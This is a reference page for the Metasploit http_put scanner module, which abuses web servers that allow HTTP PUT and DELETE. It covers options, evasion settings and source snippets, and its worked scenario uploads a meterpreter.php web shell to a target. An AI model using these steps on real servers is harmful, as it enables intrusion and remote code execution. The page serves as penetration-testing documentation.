HTTP Writable Path PUT/DELETE File Access - Metasploit
This page contains detailed information about how to use the auxiliary/scanner/http/http_put metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: HTTP Writable Path PUT/DELETE File Access
Module: auxiliary/scanner/http/http_put
Source code: modules/auxiliary/scanner/http/http_put.rb
Disclosure date: -
Last modification time: 2020-05-12 22:15:21 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -
This module can abuse misconfigured web servers to upload and delete web content via PUT and DELETE HTTP requests. Set ACTION to either PUT or DELETE. PUT is the default. If filename isn't specified, the module will generate a random string for you as a .txt file. If DELETE is used, a filename is required.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/scanner/http/http_put
msf auxiliary(http_put) > show options
... show and set options ...
msf auxiliary(http_put) > set RHOSTS ip-range
msf auxiliary(http_put) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(http_put) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(http_put) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(http_put) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Description
This module can abuse misconfigured web servers to upload and delete web content via PUT and DELETE HTTP requests.
Verification Steps
- Do:
use auxiliary/scanner/http/http_put
- Do:
set RHOSTS [IP]
- Do:
set RPORT [PORT]
- Do:
set PATH [PATH]
- Do:
set FILENAME [FILNAME]
- Do:
set FILEDATA [PATH]
- Do:
run
Options
ACTION
Set ACTION
to either PUT
or DELETE
. (Default: PUT
)
PUT
Action is set to PUT to upload files to the server. If FILENAME
isn't specified, the module will generate a random string as a .txt file.
DELETE
Deletes the file specified in the FILENAME
option (Default: msf_http_put_test.txt
). FILENAME
is required when Action is set to DELETE.
PATH
The path at which this module will attempt to either PUT the content or DELETE it.
FILEDATA
The content to put in the uploaded file when ACTION
is set to PUT
.
Scenarios
Here ACTION
is by default set to PUT
.
msf > use auxiliary/scanner/http/http_put
msf auxiliary(scanner/http/http_put) > set RHOSTS 1.1.1.23
RHOSTS => 1.1.1.23
msf auxiliary(scanner/http/http_put) > set RPORT 8585
RPORT => 8585
msf auxiliary(scanner/http/http_put) > set PATH /uploads
PATH => /uploads
msf auxiliary(scanner/http/http_put) > set FILENAME meterpreter.php
FILENAME => meterpreter.php
msf auxiliary(scanner/http/http_put) > set FILEDATA file://root/Desktop/meterpreter.php
FILEDATA => file://root/Desktop/meterpreter.php
msf auxiliary(scanner/http/http_put) > run
[+] File uploaded: http://1.1.1.23:8585/uploads/meterpreter.php
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/http/http_put) >
Go back to menu.
Msfconsole Usage
Here is how the scanner/http/http_put auxiliary module looks in the msfconsole:
msf6 > use auxiliary/scanner/http/http_put
msf6 auxiliary(scanner/http/http_put) > show info
Name: HTTP Writable Path PUT/DELETE File Access
Module: auxiliary/scanner/http/http_put
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
Kashif <[email protected]>
CG <[email protected]>
sinn3r <[email protected]>
Available actions:
Name Description
---- -----------
DELETE Delete remote file
PUT Upload local file
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
ACTION PUT yes PUT or DELETE
FILEDATA msf test file no The data to upload into the file
FILENAME msf_http_put_test.txt yes The file to attempt to write or delete
PATH / yes The path to attempt to write or delete
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
Description:
This module can abuse misconfigured web servers to upload and delete
web content via PUT and DELETE HTTP requests. Set ACTION to either
PUT or DELETE. PUT is the default. If filename isn't specified, the
module will generate a random string for you as a .txt file. If
DELETE is used, a filename is required.
References:
OSVDB (397)
Module Options
This is a complete list of options available in the scanner/http/http_put auxiliary module:
msf6 auxiliary(scanner/http/http_put) > show options
Module options (auxiliary/scanner/http/http_put):
Name Current Setting Required Description
---- --------------- -------- -----------
ACTION PUT yes PUT or DELETE
FILEDATA msf test file no The data to upload into the file
FILENAME msf_http_put_test.txt yes The file to attempt to write or delete
PATH / yes The path to attempt to write or delete
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
Auxiliary action:
Name Description
---- -----------
PUT Upload local file
Advanced Options
Here is a complete list of advanced options supported by the scanner/http/http_put auxiliary module:
msf6 auxiliary(scanner/http/http_put) > show advanced
Module advanced options (auxiliary/scanner/http/http_put):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the scanner/http/http_put module can do:
msf6 auxiliary(scanner/http/http_put) > show actions
Auxiliary actions:
Name Description
---- -----------
DELETE Delete remote file
PUT Upload local file
Evasion Options
Here is the full list of possible evasion options supported by the scanner/http/http_put auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(scanner/http/http_put) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
- <IP>: Error: <E.TO_S>
- <IP>: Error: <E.TO_S>
- <IP>: Error: <E.TO_S>
- No filename specified. Using: <PATH>
- <IP>: Reply: <RES.CODE.TO_S>
- <IP>: File doesn't seem to exist. The upload probably failed
- You must supply a filename
- File is already gone. Will not continue DELETE
- <IP>: Reply: <RES.CODE.TO_S>
- <IP>: DELETE failed. File is still there.
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<IP>: Error: <E.TO_S>
Here is a relevant code snippet related to the "<IP>: Error: <E.TO_S>" error message:
60: 'ctype' => 'text/plain',
61: 'data' => data,
62: }, 20
63: ).to_s
64: rescue ::Exception => e
65: print_error("#{ip}: Error: #{e.to_s}")
66: return nil
67: end
68:
69: return (res =~ /#{data}/) ? true : false
70: end
<IP>: Error: <E.TO_S>
Here is a relevant code snippet related to the "<IP>: Error: <E.TO_S>" error message:
81: 'ctype' => 'text/plain',
82: 'data' => data,
83: }, 20
84: )
85: rescue ::Exception => e
86: print_error("#{ip}: Error: #{e.to_s}")
87: return nil
88: end
89:
90: return res
91: end
<IP>: Error: <E.TO_S>
Here is a relevant code snippet related to the "<IP>: Error: <E.TO_S>" error message:
101: 'method' => 'DELETE',
102: 'ctype' => 'text/html',
103: }, 20
104: )
105: rescue ::Exception => e
106: print_error("#{ip}: Error: #{e.to_s}")
107: return nil
108: end
109:
110: return res
111: end
No filename specified. Using: <PATH>
Here is a relevant code snippet related to the "No filename specified. Using: <PATH>" error message:
126: case action.name
127: when 'PUT'
128: # Append filename if there isn't one
129: if path !~ /(.+\.\w+)$/
130: path << "#{Rex::Text.rand_text_alpha(5)}.txt"
131: vprint_status("No filename specified. Using: #{path}")
132: end
133:
134: # Upload file
135: res = do_put(path, data, ip)
136: vprint_status("#{ip}: Reply: #{res.code.to_s}") if not res.nil?
<IP>: Reply: <RES.CODE.TO_S>
Here is a relevant code snippet related to the "<IP>: Reply: <RES.CODE.TO_S>" error message:
131: vprint_status("No filename specified. Using: #{path}")
132: end
133:
134: # Upload file
135: res = do_put(path, data, ip)
136: vprint_status("#{ip}: Reply: #{res.code.to_s}") if not res.nil?
137:
138: # Check file
139: if not res.nil? and file_exists(path, data, ip)
140: turl = "#{(ssl ? 'https' : 'http')}://#{ip}:#{rport}#{path}"
141: print_good("File uploaded: #{turl}")
<IP>: File doesn't seem to exist. The upload probably failed
Here is a relevant code snippet related to the "<IP>: File doesn't seem to exist. The upload probably failed" error message:
147: :info => "Module #{self.fullname} confirmed write access to #{turl} via PUT",
148: :refs => self.references,
149: :exploited_at => Time.now.utc
150: )
151: else
152: print_error("#{ip}: File doesn't seem to exist. The upload probably failed")
153: end
154:
155: when 'DELETE'
156: # Check file before deleting
157: if path !~ /(.+\.\w+)$/
You must supply a filename
Here is a relevant code snippet related to the "You must supply a filename" error message:
153: end
154:
155: when 'DELETE'
156: # Check file before deleting
157: if path !~ /(.+\.\w+)$/
158: print_error("You must supply a filename")
159: return
160: elsif not file_exists(path, data, ip)
161: print_error("File is already gone. Will not continue DELETE")
162: return
163: end
File is already gone. Will not continue DELETE
Here is a relevant code snippet related to the "File is already gone. Will not continue DELETE" error message:
156: # Check file before deleting
157: if path !~ /(.+\.\w+)$/
158: print_error("You must supply a filename")
159: return
160: elsif not file_exists(path, data, ip)
161: print_error("File is already gone. Will not continue DELETE")
162: return
163: end
164:
165: # Delete our file
166: res = do_delete(path, ip)
<IP>: Reply: <RES.CODE.TO_S>
Here is a relevant code snippet related to the "<IP>: Reply: <RES.CODE.TO_S>" error message:
162: return
163: end
164:
165: # Delete our file
166: res = do_delete(path, ip)
167: vprint_status("#{ip}: Reply: #{res.code.to_s}") if not res.nil?
168:
169: # Check if DELETE was successful
170: if res.nil? or file_exists(path, data, ip)
171: print_error("#{ip}: DELETE failed. File is still there.")
172: else
<IP>: DELETE failed. File is still there.
Here is a relevant code snippet related to the "<IP>: DELETE failed. File is still there." error message:
166: res = do_delete(path, ip)
167: vprint_status("#{ip}: Reply: #{res.code.to_s}") if not res.nil?
168:
169: # Check if DELETE was successful
170: if res.nil? or file_exists(path, data, ip)
171: print_error("#{ip}: DELETE failed. File is still there.")
172: else
173: turl = "#{(ssl ? 'https' : 'http')}://#{ip}:#{rport}#{path}"
174: print_good("File deleted: #{turl}")
175: report_vuln(
176: :host => ip,
Go back to menu.
Related Pull Requests
- #13443 Merged Pull Request: Add descriptions to auxiliary modules Actions
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #7433 Merged Pull Request: Added IP addresses to the output
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #5059 Merged Pull Request: Yard doc corrections
- #2525 Merged Pull Request: Change module boilerplate
- #1417 Merged Pull Request: Improves normalize_uri(), and updates modules that are using it
- #1228 Merged Pull Request: MSFTIDY cleanup #1 - auxiliary
- #1047 Merged Pull Request: Set normalize uri on modules
- #452 Merged Pull Request: Whitespace cleanup
References
- CVE: Not available
- OSVDB (397)
See Also
Check also the following modules related to this module:
- auxiliary/scanner/http/http_header
- auxiliary/scanner/http/http_hsts
- auxiliary/scanner/http/http_login
- auxiliary/scanner/http/http_sickrage_password_leak
- auxiliary/scanner/http/http_traversal
- auxiliary/scanner/http/http_version
- auxiliary/dos/windows/http/http_sys_accept_encoding_dos_cve_2021_31166
- auxiliary/fuzzers/http/http_form_field
- auxiliary/fuzzers/http/http_get_uri_long
- auxiliary/fuzzers/http/http_get_uri_strings
- auxiliary/gather/http_pdf_authors
- auxiliary/server/capture/http_basic
- auxiliary/server/capture/http_javascript_keylogger
- auxiliary/server/capture/http_ntlm
- auxiliary/server/http_ntlmrelay
- exploit/android/local/put_user_vroot
- exploit/windows/browser/samsung_security_manager_put
- exploit/windows/ftp/pcman_put
- exploit/windows/ssh/putty_msg_debug
- post/windows/gather/enum_putty_saved_sessions
- auxiliary/admin/dcerpc/samr_computer
- auxiliary/scanner/sap/sap_hostctrl_getcomputersystem
- exploit/windows/browser/safari_xslt_output
- exploit/windows/ftp/globalscapeftp_input
- post/windows/gather/enum_ad_computers
- post/windows/gather/enum_computers
- post/windows/recon/computer_browser_discovery
Authors
- Kashif [at] compulife.com.pk
- CG
- sinn3r
Version
This page has been produced using Metasploit Framework version 6.2.7-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.